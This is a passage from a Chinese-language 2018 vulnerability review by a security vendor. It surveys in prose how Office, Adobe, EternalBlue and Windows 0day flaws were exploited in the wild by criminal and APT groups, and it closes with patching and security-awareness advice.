Office公式编辑器漏洞（CVE-2017-11882）是典型的栈溢出漏洞，存在于Eqnedit.exe组件中，该漏洞影响所有Office版本且极易利用，由于该漏洞在2017年11月14日仅仅被Windows添加了ASLR（地址随机化）漏洞缓解措施，实际上并未真正修复，且大量用户并不升级Office补丁，因此至今仍能见到许多野外攻击案例。
2017年12月20日，腾讯御见威胁情报中心就发现Eqnedt32模块还存在其他漏洞，同时捕获了一例“黑凤梨”（BlackTech）APT组织利用Office公式编辑器中的0day漏洞（CVE-2018-0802）进行攻击的样本，该样本采用鱼叉攻击的方式将携带恶意代码的Office文档伪装成办公文件进行传播，影响范围较为广泛。
2018年1月9日，Office公式编辑器再曝出新漏洞，这次Windows干脆直接通过删掉公式编辑器的途径来修复漏洞，一了百了。但漏洞补丁刚发布一周，就已开始出现多例CVE-2018-0798漏洞的变种和在野利用。
2018年2月26日腾讯御见威胁情报中心捕获到doc文档样本利用了CVE-2017-11882，通过下载并运行已被公开源码的“波尼”木马，窃取用户比特币钱包文件等敏感信息。
2018年6月1日，腾讯御见威胁情报中心再次检测到针对中国进出口企业投放的，利用CVE-2017-11882的大规模“商贸信”攻击，此类攻击邮件的投放量每天达上千封之多，病毒变种也层出不穷。
由此可以预见，未来相当长的一段时间内，鱼叉攻击+简单易用又十分符合办公场景的Office公式编辑器漏洞，仍会成为备受欢迎的针对中小型企业的攻击手段之一。
## 3.3 Adobe系列产品多次报警，0day漏洞屡遭曝光
### 3.3.1 Adobe Flash再曝0day野外利用（CVE-2018-4878、CVE-2018-5002）
2018年2月1日， Adobe官方发布了安全通告（APSA18-01）称一个最新的Adobe
Flash零日漏洞被发现用于针对韩国地区的人员发起鱼叉攻击。该0day漏洞编号为CVE-2018-4878，官方已于2月5日发布补丁进行修复。漏洞公布后，随即发现大量垃圾邮件迅速利用该漏洞进行传播，攻击者发送带有短链接的恶意Word文档的电子邮件，在下载并打开Word文档后，利用该漏洞打开命令行，再用链接到的恶意域的恶意shellcode远程注入命令，下载一个名为m.db的DLL文件，并使用regsvr32进程执行，完成攻击链。
CVE-2018-5002则在2018年6月7日被发现野外利用，由APT组织Hacking
Team通过即时聊天工具或邮箱发送包含外交部官员基本工资情况（阿拉伯语）的钓鱼文档进行攻击，在诱饵文档被用户打开后在宿主进程excel中执行恶意代码，并利用假冒的网站作为木马下载站达成进攻目的。攻击者将Loader、Exploit、Payload实行分离部署，加大安全工程师逆向还原漏洞利用代码的难度，显然是经过精心准备。
该APT组织费尽心思精心构造了攻击链，并使用0day漏洞攻击政府相关部门，可见其具有一定的政治意图。
### 3.3.2 Adobe Reader被发现0day漏洞在野利用攻击（CVE-2018-8120、CVE-2018-4990）
2018年5月15日， ESET捕获了一个使用两个0day漏洞联合进行攻击的PDF样本，其中包括一个Adobe
Reader的0day漏洞（CVE-2018-4990）和Win32k的内核提权0day漏洞（CVE-2018-8120）。
CVE-2018-8120是Win32k特权提升漏洞，CVE-2018-4990是Adobe
Acrobat/Reader的堆内存越界访问任意地址释放漏洞，攻击样本通过CVE-2018-4990获取代码执行权限，再通过利用内核提权漏洞绕过Adobe
Acrobat/Reader的沙盒保护并实现任意代码执行。而有意思的是该样本仅是一个测试样本，两个0day漏洞还没来得及利用于攻击便已被修复。
## 3.4 老漏洞被反复利用，“永恒之蓝”是否真的永恒？
多数黑客进攻个人电脑和企业服务器的目的，还是从不法途径谋取利益。往往是美味的蛋糕在哪里，不法黑客的身影就出现在哪里，病毒与木马也就如影随形地进攻到哪里。而这批利益至上的黑客们，对易用又稳定的老漏洞可谓是爱不释手，让我们再来看看2018年那些利用老漏洞进行攻击的热点安全事件。
### 3.4.1 “永恒之蓝”系列漏洞：从勒索病毒到挖矿木马
“永恒之蓝”是一个于2017年被曝光的，存在于445端口上的SMB文件共享协议漏洞，不法分子利用此漏洞获取系统最高权限，将病毒木马等恶意软件植入Windows系统。近两年来，
“永恒之蓝”漏洞已经成为被利用程度最高的安全漏洞之一。
勒索病毒主要通过三种途径传播：漏洞利用、钓鱼邮件和广告。其中通过漏洞发起的攻击占攻击总数的80%以上，典型案例就是以利用“永恒之蓝”漏洞主动传播的蠕虫式勒索病毒。“永恒之蓝”(WannaCry)可以说是开启了勒索病毒的新时代，并将这样的势头延续到了今年。另外，随着区块链的概念越发火热，今年越来越多的人加入炒币行列，而不法黑客自然不会放过这个牟利的好机会。
今年3月，腾讯御见情报威胁中心就捕获一个门罗币挖矿木马WannaMiner利用“永恒之蓝”漏洞在局域网内传播，将染毒机器打造成庞大的僵尸网络，长期潜伏挖矿，国内600多家企业超3万台电脑受到感染；
今年5月，捕获一款门罗币挖矿木马“微笑”通过扫描“永恒之蓝”漏洞攻击企业服务器悄悄在后台进行挖矿。该木马从3月就开始活动，截至5月，其已经累计挖取846枚门罗币，挖矿收入一度高达120万人民币；
6月1日，捕获一款Glupteba恶意代理木马利用“永恒之蓝”漏洞在局域网迅速传播，感染量激增；
今年8月，台积电曝出遭受WannaCry勒索病毒攻击导致产线瘫痪，造成25.96亿新台币损失；
8月9日，捕获蠕虫病毒bulehero利用“永恒之蓝”漏洞在企业内网攻击传播；
11月，又有一家知名半导体企业合晶科技，其位于大陆的工厂全线感染WannaCry勒索病毒，造成产线瘫痪，工厂全部停产。
由于越大型的单位和机械系统，越追求稳定性，使用的越是win7sp0、xp等微软早已停止提供更新服务的操作系统，因此存在大量无法及时修复的漏洞。而只要漏洞场景存在，安全威胁就不会消失，与勒索病毒和挖矿木马的抗争，就必须持续进行下去。
### 3.4.2 国内首例利用“震网3”LNK漏洞实施挖矿
2018年3月，腾讯御见威胁情报中心监测到，国内首例使用U盘作为传播载体，利用lnk远程代码执行漏洞（CVE-2017-8464）作为主要传播手段的门罗币挖矿木马。
病毒样本通过利用Lnk漏洞执行恶意代码，还会自动感染其它插入的可移动磁盘。使用U盘作为传播载体，可被用来攻击基础设施、存放关键资料的核心隔离系统等，对政企单位的内网安全有较大威胁。由于该次攻击主要影响群体为频繁使用U盘进行文件传送的局域网用户，使得校园和政企等单位频频中招。
其实“震网3”这种通过快捷方式产生的漏洞本身没什么技术含量，但由于其超链接的特性能够执行系统上任意程序或脚本，自由度极高且隐蔽性强而在漏洞利用攻击中喜闻乐见。
### 3.4.3 “412”挂马风暴（CVE-2016-0189）
2018年4月12日，腾讯御见威胁情报中心监控到大量客户端的内嵌新闻页中被嵌入恶意代码，导致用户在毫无知情的情况，被植入挖矿木马、银行木马、以及远控木马等。本波挂马波及到的客户端多达50多个，影响超过20w用户，影响面非常之广。该挂马利用了一个2016年3月的vbscript脚本引擎损坏漏洞（CVE-2016-0189）来下载恶意脚本。CVE-2016-0189与今年新的IE“双杀”0day漏洞CVE-2018-8174一样，曾经是一个被用于APT攻击的0day漏洞，该漏洞利用了VBScript脚本引擎vbscript.dll中存在的数组访问越界问题来执行恶意代码。
可以看到，黑客们也会“偷懒”，几乎所有被大量使用的漏洞，都是那些简单易用、稳定又成功率高的漏洞。对于黑客而言，除非是为了完成一些特殊的任务，否则那些漏洞利用中的技术壁垒则是必须要考虑的因素之一。
## 3.5 Windows下半年频现0day漏洞
今年是0day漏洞持续爆发的一年，Windows系产品可谓是多灾多难，不仅在补丁发布和Win10子版本升级方面BUG频出，让用户叫苦不迭；更是在短短半年时间内被连续曝出10个0day漏洞，7个已发现野外利用，而其中有6个在被发现的短短几天时间内，就迅速被APT组织利用于盗窃企业、政府机构的机密信息，0day漏洞的重要性，从这些黑客的手上就能够读懂。
### 3.5.1
“双杀”0day漏洞被APT组织DarkHotel（黑店）APT组织利用（CVE-2018-8174、CVE-2018-8242、CVE-2018-8373）
2018年4月18日，首个IE“双杀”系列漏洞CVE-2018-8174的在野攻击样本被发现，由此开启了Windows下半年每月“稳定供应”一个0day漏洞的节奏。
据报道称，该样本来自一个被命名为Darkhotel(APT-C-06)的APT组织。该APT组织善于利用高危漏洞针对企事业单位进行定向攻击，窃取国家机密，DarkHotel早在年初就利用Office公式编辑器漏洞发起过针对政府单位的攻击。
在接下来的7月、8月里，Internet
Explorer又相继被曝出“双杀”二代（CVE-2018-8242）和“双杀”三代（CVE-2018-8373）0day漏洞。DarkHotel组织再度使用相同的攻击技术，利用
“双杀”三代针对企业高管、国防工业、电子工业等重要机构发起定向攻击。
除被APT组织多次利用外，“双杀”一代（CVE-2018-8174）还在6月16日被腾讯御见威胁情报中心捕获到一个木马传播利用的案例。一款名为“流量宝流量版”的软件在软件内嵌的IE浏览器中利用该漏洞执行shellcode并下载DDoS木马和挖矿木马等将受害电脑控制为肉鸡。来自该样本的漏洞利用攻击请求次数，最高曾高达30多万次。
### 3.5.2 APT组织Darkhydrus和摩诃草对CVE-2018-8414的利用
2018年6月，一种关于Windows 10新引入的文件类型“.SettingContent-ms”的任意代码执行攻击技巧被公开了POC，该漏洞一遭公开就迅速被不法黑客和APT组织利用。在野外攻击中，捕获多个利用该0day漏洞的攻击样本。
据报道，曾发现Darkhydrus使用该漏洞利用技术，用于投递DNS隧道通信攻击，另外，疑似APT组织摩诃草也曾利用该漏洞投放攻击样本。
直到2018年8月14日微软才发布相应漏洞补丁并给予漏洞编号CVE-2018-8414。
### 3.5.3 APT组织FruityArmor对CVE-2018-8453的利用
CVE-2018-8453是一个位于win32kfull!xxxDestroyWindow函数中的UAF远程代码漏洞，该漏洞最早在8月由卡巴斯基实验室发现被APT组织FruityArmor利用于近期的攻击活动中，据悉，卡巴斯基实验室捕获的攻击样本使用的shellcode长期以来只被FruityArmor在C2领域所使用，而这次，FuityArmor利用该漏洞发起的攻击似乎有高度针对性，仅影响了中东地区的十几名用户。
### 3.5.4 APT组织SandCat对两个0day提权漏洞的利用（CVE-2018-8589、CVE-2018-8611）
10月17日，卡巴斯基实验室发现一例APT组织SandCat针对中东地区用户进行的小范围针对性攻击，该攻击利用了Windows
Win32k本地提权漏洞CVE-2018-8589，该漏洞仅影响Windows 7 x86以及Windows Server
2008操作系统，暂时仅被发现利用于APT活动。
而该漏洞被发现还不到一个月，在10月29日，再次发现一个新的Windows内核提权0day漏洞CVE-2018-8611被同一组织利用。新的漏洞可以绕过了主流web浏览器的沙箱，相较于CVE-2018-8589而言更具威胁性。
Windows下半年被曝出的0day漏洞，几乎都是通过APT组织投放的攻击样本发现，可以看出APT组织较喜爱利用0day漏洞，以达到出其不意，一击必杀的目的，且将攻击影响范围缩到最小，确保攻击活动的隐匿性。
# 四、 如何做好漏洞防护
## 4.1. 个人用户漏洞防护
### 4.1.1 及时修复安全漏洞开启安全软件实时防护
防范漏洞攻击最直接有效的方法就是使用新版本的系统，并且及时修复系统环境中存在的安全漏洞。腾讯电脑管家漏洞云库收集了超过千款补丁，支持Windows，Office，Flash等产品的漏洞修复，采用快速修复引擎，降低50%的漏洞修复时间，100%还原windows
update功能，保证了漏洞修复的准确性和系统兼容性。并且开启电脑管家实时防护可以有效拦截利用漏洞触发传播的病毒，有效弥补因各种原因未能及时修复漏洞的不足。
### 4.1.2 培养良好的计算机使用习惯
个人需提高计算机网络安全意识，不轻易下载不明软件程序，不轻易打开不明邮件夹带的可疑附件，注意识别&不轻易打开可疑的网站，及时备份重要的数据文件。
## 4.2. 企业用户漏洞防护
### 4.2.1 建立有效的漏洞情报监控体系，建设完善的漏洞补丁管理能力
建立起有效的安全情报监控体系，密切关注各大安全媒体如“御见威胁情报中心”的威胁情报预警。
同时需要做好生产力工具的安全管理，积极安装最新补丁，修复漏洞，时刻保证个人/企业使用的设备、软件、硬件的安全性，缩短漏洞平均存续期，可以大大减少被不法分子攻击的可能。使用腾讯御点终端安全管理系统可以全网统一安装系统补丁，提升客户端的安全性。
### 4.2.2 安全演练，培养员工良好的信息安全意识
定期组织企业信息安全演练，以钓鱼邮件、钓鱼网页、社会工程等拟真攻击手段来提高员工安全意识，能使员工对信息安全有更深刻的印象与认识，从终端杜绝安全威胁。
# 五、 回顾2018，展望2019
回顾2018，勒索病毒、挖矿木马大行其道，智能合约、智能硬件、人工智能等新技术带来新趋势的同时更带来新的安全威胁，全球各领域漏洞提交数量持续上涨而0day漏洞正变得愈发常见，全球各行各业的重大信息泄露事件层见迭出，APT组织带有政治意味的攻击也愈发猖狂，国际信息安全态势正处于弓弦逐渐紧绷的时刻，而作为信息安全守护者的我们，更应该时刻思考如何应对新的变化，永远做好迎接全新挑战的准备。
## 5.1 思维进化，道高一丈
2018年12月，国内黑客就用一起典型的、针对软件供应链发起的攻击结合利用漏洞传播木马的安全事件（广东省深圳市某知名软件厂商软件升级通道传播木马），拉开了安全攻防新时代的巨幕。在技术革新不断发生的时代，“进攻方”的手段在不断演化升级，作为“防守方”更要时刻开阔眼界，与时俱进，不死守陈旧的防守观，追求“魔高一尺道高一丈”，才能真正成为信息安全的守护神。
## 5.2 千里之堤毁于蚁穴，人永远是最大的漏洞
钓鱼、广告甚至社会工程学等传统、低技术含量的手段能够屡试不爽，成为黑客们最喜爱的传播病毒、木马的手段，恰恰说明了信息安全中最大的漏洞还是在人身上。低技术含量的攻击手段本身，就是个高效的筛选器，可以过滤掉那些对计算机和网络十分了解的精明用户，将安全意识低下的目标人群筛选出来，真正地达到高精准的定点攻击，基于这样的情况，企业、政府等机构更是需要多进行安全事件演习，加强业务人员的信息安全意识，才能在真正意义上“修复漏洞”，保障信息安全。
## 5.3 需建设多维、立体的安全能力体系
安全漏洞涉及计算机的方方面面，企业信息安全不能再只作简单的网络隔离，更要全方位地加强企业生产力设备中网络、软件、硬件的安全性，做好补丁管理及时更新企业软硬件，并建设一定的漏洞检测、安全应急响应、威胁情报监控、攻击溯源追踪能力，才能拥有一道更坚固的信息安全防火墙。 | 社区文章 |
Subsets and Splits